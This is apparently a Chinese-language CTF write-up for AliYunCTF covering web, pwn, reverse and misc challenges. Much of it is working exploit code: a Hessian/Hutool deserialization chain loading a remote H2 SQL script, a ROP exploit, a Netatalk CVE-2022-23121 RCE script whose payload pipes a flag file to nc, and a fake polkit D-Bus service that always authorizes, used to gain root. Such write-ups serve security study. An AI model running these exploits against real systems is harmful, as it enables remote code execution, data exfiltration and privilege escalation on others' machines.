AliYunCTF By W&M x V&N
WEB
easyCAS
log4j
chain17
agent
java17
看了一下题目,首先是个hessian入口,题目给了一个自定义bean
存在hutools依赖,可以触发任意getter,触发点可以配合入口的Hessian实现。Hessian反序列化过程中会调用map.put,触发getter有几个条件,hutools是以属性为基准的
- 属性存在
- 属性对于的getter存在
- 非jdk原生类(java.、javax)
题目给的h2肯定是有用的,具体用法应该是找到一个getter触发jdbc。
根据提示 找个触发jdbc的地方
JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> PooledDSFactory.getDataSource
因为hessian序列化的时候 instance导致属性丢失,所以setting反射进去
package org.example;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.db.ds.pooled.PooledDataSource;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.GroupedMap;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;
public class Main {
public static void main(String[] args) throws Exception {
String url="jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
PooledDSFactory pooledDSFactory = (PooledDSFactory) SerializeUtils.createWithoutConstructor(PooledDSFactory.class.getName());
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",url);
SerializeUtils.setFieldValue(pooledDSFactory,"setting",setting);
HashMap<Object, Object> dsmap = new HashMap<>();
dsmap.put("",null);
SerializeUtils.setFieldValue(pooledDSFactory,"dsMap",dsmap);
Bean bean = new Bean();
ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos2);
oos.writeObject(pooledDSFactory);
oos.close();
bean.setData(baos2.toByteArray());
POJONode jsonNodes = new POJONode(bean);
AtomicReference atomicReference = new AtomicReference("poc");
JSONObject jsonObject = new JSONObject();
//innermap
HashMap<Object, Object> innermap = new HashMap<>();
setFieldValue(innermap, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, "manqiu",atomicReference, null));
setFieldValue(innermap, "table", tbl);
setFieldValue(jsonObject,"raw",innermap);
setFieldValue(atomicReference,"value",jsonNodes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64String);
byte[] data = Base64.getDecoder().decode(base64String);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object object = hessian2Input.readObject();
System.out.println(object.getClass());
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
}
Server
jooq里面有个任意实例化的地方
Xstring -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext
Pastebin
ctx全局变量 + 条件竞争
注册个账户 发个文章内容带有admin 一直请求这个文章 + 请求/flag
web签到
命令拼贴导致任意文件读取。
PWN
pwn签到
from pwn import *
#sh = process('./pwn-sign_in')
sh = remote('pwn0.aliyunctf.com', 9999)
context.log_level = "debug"
context.arch = "amd64"
def choice(idx):
sh.sendlineafter("hhh", str(idx))
def lucky(size, data, lucky_numbers):
choice(1)
sh.sendlineafter("size???", str(size))
sh.sendline(data)
sh.recvuntil("Lucky Numbers")
for i in range(16):
sh.sendline(str(lucky_numbers[i]))
lucky_numbers = [0] * 16
lucky_numbers[15] = 1
lucky_numbers[13] = 1
lucky_numbers[2] = 1
lucky_numbers[11] = 1
lucky_numbers[4] = 1
lucky_numbers[14] = 1
lucky(0x500, 'a' * 8, lucky_numbers)
choice(2)
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
log.success("libc_base:\t" + hex(libc_base))
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdi_addr = libc_base + 0x23b6a
pop_rsi_addr = libc_base + 0x2601f
pop_rdx_r12_addr = libc_base + 0x119431
pop_rax_addr = libc_base + 0x36174
syscall_addr = libc_base + 0x630a9
gadget_addr = libc_base + 0x151bb0 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
free_hook_addr = libc_base + 0x1eee48
malloc_hook_addr = libc_base + 0x1ecb70
system_addr = libc_base + 0x52290
bin_sh_addr = libc_base + 0x1b45bd
setcontext_addr = libc_base + 0x54f20
fake_frame_addr = libc_base + 0x1ec000
rop_data = flat([
pop_rax_addr, 0,
pop_rdi_addr, 0,
pop_rsi_addr, fake_frame_addr + 0xF8,
syscall_addr,
# sys_open('flag', 0)
pop_rdi_addr, fake_frame_addr + 0xF8,
pop_rsi_addr, 0,
pop_rdx_r12_addr, 0x100, 0,
pop_rax_addr, 2,
syscall_addr,
# sys_read(flag_fd, heap, 0x100)
pop_rax_addr, 0,
pop_rdi_addr, 3,
pop_rsi_addr, fake_frame_addr + 0x200,
syscall_addr,
# sys_write(1, heap, 0x100)
pop_rax_addr, 1,
pop_rdi_addr, 1,
pop_rsi_addr, fake_frame_addr + 0x200,
syscall_addr
])
lucky_numbers = [0] * 16
lucky_numbers[15] = 1
lucky_numbers[1] = 1
lucky_numbers[2] = 1
lucky_numbers[3] = 1
lucky_numbers[4] = 1
lucky_numbers[14] = 1
lucky_numbers[6] = 1
lucky(0x500, 'a' * 8, lucky_numbers)
choice(2)
sh.sendlineafter("xmki", 'a' * (66 + 2 + 2 + (len(rop_data) // 4)) + '\x00')
for i in range(66):
sh.sendline(str(0xaaaaaaaa))
for i in range(2 + 2):
sh.sendline("+")
#gdb.attach(sh, "b *$rebase(0x2512)")
for i in range(0, len(rop_data), 8):
sh.sendline(str(u32(rop_data[i: i + 4])))
sh.sendline(str(u32(rop_data[i + 4: i + 8])))
sh.send('flag.txt\x00')
sh.interactive()
netatalk
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=netatalk
Netatalk 3.1.12任意漏洞rce,从CVE-2021-31439 开始往上的都可以
CVE-2022-23121 三个比较详细的分析,目标是arm,文章中是x86
https://nosec.org/home/detail/4997.html
https://mp.weixin.qq.com/s/XGtGSK2J3cx9sy7iKtWeCA
原理在上述文章中讲的已经很详细了,攻击的大致流程:
- 创建"leakpthread"文件,写入内容随意,为了之后打开这个文件来触发 "."文件
- 创建"._leak_pthread",文件为漏洞文件。照着上面的文章找到一个可以leak libpthread.so的偏移
- OpenFork("leak_pthread")来触发"._leak_pthread"文件的错误解析,其中flag为0xff,access mode为0(不是唯一的值,跟着源码走一下,能走到
afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries
就行 - 再读"._leakpthread"的内容就可以有泄漏了。注意这里需要提前打开文件然后用同一个forkid,不然先创建"."文件关掉再打开是打不开的。
- 有了泄漏之后,使用文章中的技巧覆盖
_rtld_global
的值。需要覆盖两个,一个是函数指针,一个是函数参数的值。手动调试一下,找到偏移。memmove会把内容覆盖,然后在后面的ad_rebuild_adouble_header_osx
的时候有个memcpy会SIGSEGV,但是因为netatalk里有signal handler,所以会调用,接着之前覆盖的指针就可以RCE。
p.s. 有一个坑是这里用到了ARM THUMB mode,所以泄漏libc的system跳过去是会执行不了的,而且由于gdb默认不会反汇编thumb,所以很难第一眼发现问题。发现问题的流程是,使用gdbserver在外面执行的时候SIGSEGV一直会被gdb捕捉所以不能执行到handler,接着我就使用vm内部的没插件的gdb调试,默认gdb反汇编用的是arm模式,会报SIGILL错,当时很困惑。接着还是用回了外部的pwndbg,输入handle all nostop pass
跳过信号捕捉,发现x/i $pc和主窗口显示的代码不一样并且主窗口显示的是正确的,才发现是THUMB的问题。所以找到一个合适的system去跳就可以。
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
from pwn import *
context.log_level = 'debug'
from afputils import *
ip = "127.0.0.1"
port = 5548
volume = "Shared"
# Helper function to create AppleDouble metadata header
# you can modify the header as you want...
def createAppleDoubleLeak(offset):
header = p32(0x51607) # Magic number double
header += p32(0x20000) # Version number
header += p8(0) * 16 # Filler
header += p16(2) # Number of entries
header += p32(9) # Entry Id Finder Info
header += pack(offset,32,'big', True) # FINDERI offset
header += p32(30) # FINDERLEN Set length other than 32 to call 'ad_convert_osx'
header += p32(2) # Type Ressource fork
header += p32(0x800) # ADEID_RFORK #Control the mmap size
header += p32(0x1) # length
############
# usefull to find adouble offset
###########
header += b'JUNK' * 8
return header
def createAppleDoubleWrite(addr, offset=0x4504):
# cmd = b"sudo cat /flag.txt | nc xx.xx.xx.xx 10001\x00\x00\x00"
cmd = b"sudo cat /flag.txt | nc localhost 10001\x00\x00\x00\x00\x00"
# 44 bytes
cmd += p32(0) * 192 # padding
cmd += p32(addr, endian='le')
header = p32(0x51607) # Magic number double
header += p32(0x20000) # Version number
header += p8(0) * 16 # Filler
header += p16(2) # Number of entries
header += p32(9) # Entry Id Finder Info
header += pack(offset, 32, 'big', True) # FINDERI offset
header += p32(30) # FINDERLEN Set length other than 32 to call 'ad_convert_osx'
header += p32(2) # Type Ressource fork
header += p32(0x800) # ADEID_RFORK #Control the mmap size
header += p32(len(cmd)) # length
############
# usefull to find adouble offset
###########
header += b'JUNK' * 8
header += b'\x00' * (0x800 - len(header))
header += cmd
return header
def fxxk():
p = connect(ip, port)
response, request_id = DSIOpenSession(p, debug)
response, request_id = FPLogin(p, request_id, b'AFP3.3', b'No User Authent', None, debug)
response, request_id, volume_id = FPOpenVol(p, request_id, 0x21, bytes(volume,encoding='utf-8'), None, debug)
# create a simple file named "leak_pthread" with data inside
response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, b"leak_pthread", debug)
response, request_id, fork1 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, b"leak_pthread", debug)
data = b'Hello World !'
response, request_id = FPWriteExt(p, request_id, fork1, 0, len(data), data, debug)
response, request_id = FPReadExt(p, request_id, fork1, 0, len(data), debug)
response, request_id = FPCloseFork(p, request_id, fork1, debug)
# create an appledouble metadata file for "leak_pthread"
appledouble = createAppleDoubleLeak(0x61a)
response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, b"._leak_pthread", debug)
response, request_id, fork2 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, b"._leak_pthread", debug)
response, request_id = FPWriteExt(p, request_id, fork2, 0, len(appledouble), appledouble, debug)
response, request_id, fork1 = FPOpenFork(p, request_id, 0xff, volume_id, 2, 0, 0, 2, b"leak_pthread", debug)
response, request_id = FPReadExt(p, request_id, fork2, 0, len(appledouble), debug)
libpthread = u32(response[0x42:0x42 + 0x4], endian='le') - 0xb305
DSICloseSession(p, request_id, debug)
p.close()
return libpthread
def fxxk2(system_plt, file_suffix=""):
filename = ("write" + file_suffix).encode()
filename2 = ("._write" + file_suffix).encode()
p = connect(ip, port)
response, request_id = DSIOpenSession(p, debug)
response, request_id = FPLogin(p, request_id, b'AFP3.3', b'No User Authent', None, debug)
response, request_id, volume_id = FPOpenVol(p, request_id, 0x21, bytes(volume,encoding='utf-8'), None, debug)
# create a simple file named "write" with data inside
response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, filename, debug)
response, request_id, fork1 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, filename, debug)
data = b'Hello World !'
response, request_id = FPWriteExt(p, request_id, fork1, 0, len(data), data, debug)
response, request_id = FPReadExt(p, request_id, fork1, 0, len(data), debug)
response, request_id = FPCloseFork(p, request_id, fork1, debug)
# create an appledouble metadata file for "write"
appledouble = createAppleDoubleWrite(system_plt)
response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, filename2, debug)
response, request_id, fork2 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, filename2, debug)
response, request_id = FPWriteExt(p, request_id, fork2, 0, len(appledouble), appledouble, debug)
print("Triggering system...")
# pause()
response, request_id, fork1 = FPOpenFork(p, request_id, 0xff, volume_id, 2, 0, 0, 2, filename, debug)
DSICloseSession(p, request_id, debug)
p.close()
libpthread = fxxk()
system_plt = libpthread + 0x3f40
print("system_plt: 0x%x" % system_plt)
print("libpthread: 0x%x" % libpthread)
fxxk2(system_plt)
Reverse
欧拉
逻辑比较简单
有问题,因为无法得知算出来的下标对应data数组里的哪个1,所以无从得知每次算出来的ans值对应哪个下标,
https://blog.csdn.net/shazao/article/details/96724812
深搜找一下路径吧
https://www.cnblogs.com/wkfvawl/p/9626163.html
有了新的idea
from z3 import *
answer_data = []
data = [0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000001, 0x00000001, 0x00000000]
for i in range(81):
if data[i] == 1:
answer_data.append(i)
# print(answer_data)
# cnt = 0
# for i in range(9):
# for j in range(9):
# if (i * 9 + j) % 9 == 0:
# print()
# if data[i * 9 + j] == 0:
# print("0", end = " ")
# if data[i * 9 + j] == 1:
# print("1", end = " ")
# cnt += 1
# print(cnt)
input = [BitVec("input%d" % i, 8) for i in range(18)]
sol = Solver()
sol.add(input[1] > input[2])
sol.add(input[3] < input[4])
sol.add(input[0] == input[8])
sol.add(input[11] == input[15])
sol.add(input[10] > input[5])
sol.add(input[3] < input[13])
sol.add(input[7] < input[4])
sol.add(input[14] == 55)
sol.add(input[17] == 52)
for i in range(18):
sol.add(input[i] <= ord('8'))
sol.add(input[i] >= ord('0'))
for i in range(17, 0, -1):
pre_input = input[i - 1] - 48
sub_input = input[i] - 48
# ans1 = 8 * pre_input + pre_input + sub_input
# ans2 = 8 * sub_input + pre_input + sub_input
low_range = sub_input * 8 + sub_input
high_range = sub_input * 8 + sub_input + 8
ans = 8 * pre_input + pre_input + sub_input
for j in range(len(answer_data)):
# if low_range <= answer_data[j] <= high_range:
# sol.add(Or(ans == answer_data[j]))
sol.add(
If(And(answer_data[j] <= high_range, answer_data[j] >= low_range), Or(ans == answer_data[j]), True) # 得和每层的预期值都相等,然而遍历不能完成,还得是递归,所以只能DFS
)
while sat == sol.check():
model = sol.model()
path = [model[input[i]].as_long() for i in range(len(input))]
print("Path:", path)
sol.add(Or([input[i] != path[i] for i in range(len(input))]))
手算范围过程,不过后续位可能有多解,其实还是要Z3或者深搜?先去吃个饭
input[17] = 4
36 <= ans2 <= 44
=> input[16] = 1 3 6
if input[16] == 1
ans1 = in16 * 8 + in16+ + in17 = 13
yes
if input[16] == 3
ans1 = in16 * 8 + in16+ + in17 = 31
yes
if input[16] == 6
ans1 = in16 * 8 + in16+ + in17 = 58
yes
写了个深搜脚本,但是一直跑不到最后一个点qwq,狗屎算法受不了了
mp_ = [
0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1,
0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1,
0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x0,
0x0, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1,
0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0,
0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1,
0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x0, 0x0, 0x1,
0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1,
0x1, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0
]
# 打印9*9的矩阵
def print_mp(mp):
for i in range(9):
for j in range(9):
print(hex(mp[i*9+j]),end=", ")
print("")
def get_x_true(x,y,mp):
res_index_array = []
for i in range(9):
if i == x:
continue
if mp[y*9+i] == 1:
res_index_array.append(i)
return res_index_array
def get_y_true(x,y,mp):
res_index_array = []
for i in range(9):
if i == y:
continue
if mp[i*9+x] == 1:
res_index_array.append(i)
return res_index_array
def DFS(x,y,index,lujing,mp):
x_true = get_x_true(x,y,mp)
y_true = get_y_true(x,y,mp)
# print("x_true: "+str(x_true))
# print("y_true: "+str(y_true))
# print("index: "+str(index)+" 当前坐标:"+"("+str(x)+","+str(y)+")")
# print("index: "+str(index)+"路径:"+str(lujing))
# print_mp(mp)
if(index == 10):
# print("成功")
print(lujing)
return
if(index == 24 and x != 7 and y != 7):
# print("index == 24的数值不正确"+",坐标为:"+"("+str(x)+","+str(y)+")")
return
if(x_true == [] and y_true == []):
# print("递归尽头")
# print_mp(mp)
return
index -= 1
mp[y*9+x] = 0
mp[x*9+y] = 0
lujing.append((x,y))
for i in x_true:
DFS(i,y,index,lujing.copy(),mp.copy())
for j in y_true:
DFS(x,j,index,lujing.copy(),mp.copy())
DFS(3,4,27,[],mp_.copy())
还是深搜
搜索遍历出所有符合条件的串
然后根据条件判断即可
a = [[0, 0, 1, 0, 0, 1, 0, 0, 1],
[0, 0, 0, 1, 1, 1, 0, 0, 1],
[1, 0, 0, 1, 0, 0, 1, 1, 0],
[0, 1, 1, 0, 1, 0, 0, 0, 1],
[0, 1, 0, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 0, 0, 0, 1, 0, 1],
[0, 0, 1, 0, 1, 1, 0, 0, 1],
[0, 0, 1, 0, 0, 0, 0, 0, 1],
[1, 1, 0, 1, 0, 1, 1, 1, 0]]
b = []
for i in range(9):
for j in range(i,9):
if a[i][j] == 1:
b.append((i, j))
#print(i,j)
walked = [0]*len(b)
def check(str):
if not str[11-10] > str[12-10]:
return 0
if not str[13-10] < str[14-10]:
return 0
if not str[10-10] == str[18-10]:
return 0
if not str[21-10] == str[25-10]:
return 0
if not str[20-10] > str[15-10]:
return 0
if not str[13-10] < str[23-10]:
return 0
if not str[17-10] < str[14-10]:
return 0
if not str[24-10] == 7:
return 0
if not str[27-10] == 4:
return 0
return 1
str = [4]
def solve(x,c):
if x == 17:
if check(str[::-1]):
print('win')
print(str[::-1])
print(len(str))
return
for i,v in enumerate(b):
if walked[i] == 1:
continue
if v[0] == c:
str.append(v[1])
walked[i] = 1
solve(x+1,v[1])
str.pop()
walked[i] = 0
elif v[1] == c:
str.append(v[0])
walked[i] = 1
solve(x+1,v[0])
str.pop()
walked[i] = 0
else:
continue
return
print(len(b))
solve(0,4)
MISC
字
orig.txt
https://zh.wikipedia.org/zh-cn/%E6%B1%89%E5%AD%97
原文来自wikipedia 复制原文用来对比,发现有一些字被替换成了康熙部首
hint:
- 该隐写需要用到所有的[redacted]。
- 该隐写能够承载的信息容量和原文的具体内容有关,和原文的长度弱相关。
题目「字」更新了附件,题目解法未改变,消除了可能导致误解的简繁体因素
- 对于题目的原文,使用该隐写能够写入的信息容量为 332bits。
- 对于第二步:依旧和汉字有关
隐写原理:存在对应康熙部首但是没写成康熙部首形式的汉字作0,写成康熙部首形式的汉字作1;不存在对应康熙部首的汉字和其它标点符号无视
import json
f2 = open("hanzi2.txt", "r").read() # 原文
f3 = open("hanzi3.txt", "r").read() # 附件
ff = open("1.txt", "r").read().replace("\n", "") # 康熙部首中的所有字(包括原版和康熙部首版本)
dic = json.loads(open("dict.json", "rb").read()) # 康熙部首字典
for i in range(len(f2)):
if (f2[i] in ff):
if (dic.get(f3[i])):
print(1, end="")
else:
print(0, end="")
字典:
{"⼀": "一", "⼁": "丨", "⼂": "丶", "⼃": "丿", "⼄": "乙", "⼅": "亅", "⼆": "二", "⼇": "亠", "⼈": "人", "⼉": "儿", "⼊": "入", "⼋": "八", "⼌": "冂", "⼍": "冖", "⼎": "冫", "⼏": "几", "⼐": "凵", "⼑": "刀", "⼒": "力", "⼓": "勹", "⼔": "匕", "⼕": "匚", "⼖": "匸", "⼗": "十", "⼘": "卜", "⼙": "卩", "⼚": "厂", "⼛": "厶", "⼜": "又", "⼝": "口", "⼞": "囗", "⼟": "土", "⼠": "士", "⼡": "夂", "⼢": "夊", "⼣": "夕", "⼤": "大", "⼥": "女", "⼦": "子", "⼧": "宀", "⼨": "寸", "⼩": "小", "⼪": "尢", "⼫": "尸", "⼬": "屮", "⼭": "山", "⼮": "巛", "⼯": "工", " ⼰": "己", "⼱": "巾", "⼲": "干", "⼳": "幺", "⼴": "广", "⼵": "廴", "⼶": "廾", "⼷": "弋", "⼸": "弓", "⼹": "彐", "⼺": "彡", "⼻": "彳", " ⼼": "心", "⼽": "戈", "⼾": "戶", "⼿": "手", "⽀": "支", "⽁": "攴", "⽂": "文", "⽃": "斗", "⽄": "斤", "⽅": "方", "⽆": "无", "⽇": "日", " ⽈": "曰", "⽉": "月", "⽊": "木", "⽋": "欠", "⽌": "止", "⽍": "歹", "⽎": "殳", "⽏": "毋", "⽐": "比", "⽑": "毛", "⽒": "氏", "⽓": "气", " ⽔": "水", "⽕": "火", "⽖": "爪", "⽗": "父", "⽘": "爻", "⽙": "爿", "⽚": "片", "⽛": "牙", "⽜": "牛", "⽝": "犬", "⽞": "玄", "⽟": "玉", " ⽠": "瓜", "⽡": "瓦", "⽢": "甘", "⽣": "生", "⽤": "用", "⽥": "田", "⽦": "疋", "⽧": "疒", "⽨": "癶", "⽩": "白", "⽪": "皮", "⽫": "皿", " ⽬": "目", "⽭": "矛", "⽮": "矢", "⽯": "石", "⽰": "示", "⽱": "禸", "⽲": "禾", "⽳": "穴", "⽴": "立", "⽵": "竹", "⽶": "米", "⽷": "糸", " ⽸": "缶", "⽹": "网", "⽺": "羊", "⽻": "羽", "⽼": "老", "⽽": "而", "⽾": "耒", "⽿": "耳", "⾀": "聿", "⾁": "肉", "⾂": "臣", "⾃": "自", " ⾄": "至", "⾅": "臼", "⾆": "舌", "⾇": "舛", "⾈": "舟", "⾉": "艮", "⾊": "色", "⾋": "艸", "⾌": "虍", "⾍": "虫", "⾎": "血", "⾏": "行", " ⾐": "衣", "⾑": "襾", "⾒": "見", "⾓": "角", "⾔": "言", "⾕": "谷", "⾖": "豆", "⾗": "豕", "⾘": "豸", "⾙": "貝", "⾚": "赤", "⾛": "走", " ⾜": "足", "⾝": "身", "⾞": "車", "⾟": "辛", "⾠": "辰", "⾡": "辵", "⾢": "邑", "⾣": "酉", "⾤": "釆", "⾥": "里", "⾦": "金", "⾧": "長", " ⾨": "門", "⾩": "阜", "⾪": "隶", "⾫": "隹", "⾬": "雨", "⾭": "靑", "⾮": "非", "⾯": "面", "⾰": "革", "⾱": "韋", "⾲": "韭", "⾳": "音", " ⾴": "頁", "⾵": "風", "⾶": "飛", "⾷": "食", "⾸": "首", "⾹": "香", "⾺": "馬", "⾻": "骨", "⾼": "高", "⾽": "髟", "⾾": "鬥", "⾿": "鬯", " ⿀": "鬲", "⿁": "鬼", "⿂": "魚", "⿃": "鳥", "⿄": "鹵", "⿅": "鹿", "⿆": "麥", "⿇": "麻", "⿈": "黃", "⿉": "黍", "⿊": "黑", "⿋": "黹", " ⿌": "黽", "⿍": "鼎", "⿎": "鼓", "⿏": "鼠", "⿐": "鼻", "⿑": "齊", "⿒": "齒", "⿓": "龍", "⿔": "龜", "⿕": "龠"}
01序列 332bits
00100000000010010000010011110110100010011000101101000001010011010011000101000101110001101111010011001101100010000100000000100000101101011110010000110110010010110101111001000011011001010111101000100011011000111001011101000101010111010001010101110100010101010110100100011001101100100011011000100001000000001000111111100000000000000000
和题目对一整天的脑洞得知,是区位码 每14位比特构成一个区码和一个位码
0010000 = 16
0000010 = 02
区位码(1602) = 阿
转换即可 https://www.qqxiuzi.cn/bianma/quweima.php
阿里云夺旗赛左花括二六二六下划五五五四右花括
帕鲁情绪管理
机器学习题,你是机器,开始之前你可以看一些对话样本,然后会给你测试用例,你判断情绪是positive还是negative还是neutral
根据样本找到数据集 crowdflower\airline-sentiment\train.tsv
https://huggingface.co/datasets/tasksource/crowdflower
从数据集里面找就行
from pwn import *
from openai import OpenAI
with open("./train.tsv","rb") as f:
train = f.readlines()
train = [x.split(b"\t")for x in train]
train=filter(lambda x: len(x) == 2, train)
train = [(x[0],x[1].strip()) for x in train]
# remove non ascii from x
def all_ascii(x:bytes):
result = bytearray()
for i in x:
if i < 128:
result.append(i)
return bytes(result)
train = [(all_ascii(x),y) for x,y in train]
io = remote("misc0.aliyunctf.com",9999)
io.recvuntil(b'"')
prefix = io.recvuntil(b'"', drop=True).decode().strip()
io.recvuntil(b' = ')
suffix = io.recvline().decode().strip()
print(prefix,suffix)
from pwnlib.util.iters import mbruteforce
def test(s):
return hashlib.sha256((prefix + s).encode()).hexdigest() == suffix
pow=(mbruteforce(test, string.ascii_letters + string.digits, 4))
print(pow)
io.sendline(pow)
io.recvuntil(b'Please input the answer: Do you want to training? (y/n)')
io.sendline(b'y')
training = io.recvuntil(b'Now, Do you want to start challenge? (y/n)', drop=True).decode().strip()
io.sendline(b'y')
while 1:
challenge = io.recvline().strip()
if b'Congratulations! You have passed the challenge!' in challenge:
break
print("challenge:",challenge)
challenge = challenge.split(b', text: ')[1]
challenge = all_ascii(challenge).replace(b"&",b"&")
# find challenge in train.tsv
for data,tag in train:
if challenge[5:-5] in data:
print("tag:",tag)
io.sendline(tag)
break
else:
raise Exception("Not found")
io.interactive()
alibus
题目给了docker内www-data用户的shell
有个dbus-daemon,有个以root运行的dbus服务(rust写的,难逆向,而且根据提示,并不需要逆),有个dbus配置文件
(remote) www-data@65b8f2bc8398:/$ busctl list
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.0 19 alibus root :1.0 - - -
:1.1 112 busctl www-data :1.1 - - -
org.freedesktop.Accounts - - - (activatable) - - -
org.freedesktop.DBus 17 n/a root - - - -
org.freedesktop.PolicyKit1 - - - (activatable) - - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 - - - (activatable) - - -
org.freedesktop.network1 - - - (activatable) - - -
org.freedesktop.resolve1 - - - (activatable) - - -
org.freedesktop.systemd1 - - - (activatable) - - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 - - - (activatable) - - -
org.zbus.MyService 19 alibus root :1.0 - - -
/etc/dbus-1/system.d/alibus.conf
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<auth>ANONYMOUS</auth>
<allow_anonymous/>
<policy context="default">
<allow own="*"/>
<allow own_prefix="org.zbus"/>
<allow send_destination="*"/>
<allow send_type="method_call"/>
</policy>
</busconfig>
own_prefix=org.zbus 被own=*覆盖掉了,所以
这个配置文件允许任何uid的进程绑定到任何服务,那么我可以伪造polkit服务,其他服务询问polkit服务 www-data用户是否是授权用户时返回true,然后滥用org.freedesktop.Accounts添加新用户,添加的用户拥有sudo组权限
如何快速写exp:
busctl introspect org.freedesktop.PolicyKit1 /org/freedesktop/PolicyKit1/Authority
Busctl introspect的本质是
busctl call org.freedesktop.PolicyKit1 /org/freedesktop/PolicyKit1/Authority org.freedesktop.DBus.Introspectable Introspect
把上面这条命令的结果只保留org.freedesktop.PolicyKit1.Authority.CheckAuthorization方法,喂给gpt,告诉他我需要用python实现dbus polkitd,他能帮你写出exp
import dbus
import dbus.service
import dbus.mainloop.glib
from gi.repository import GLib
class PolicyKitAuthority(dbus.service.Object):
def __init__(self, bus_name):
super().__init__(bus_name, '/org/freedesktop/PolicyKit1/Authority')
@dbus.service.method('org.freedesktop.PolicyKit1.Authority',
in_signature='(sa{sv})sa{ss}us',
out_signature='(bba{ss})')
def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
# Implement your authorization check here
# Return a tuple (is_authorized, is_challenge, details)
# For example, let's just always authorize without challenge
return (True, False, {})
if __name__ == '__main__':
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SystemBus()
name = dbus.service.BusName('org.freedesktop.PolicyKit1', bus)
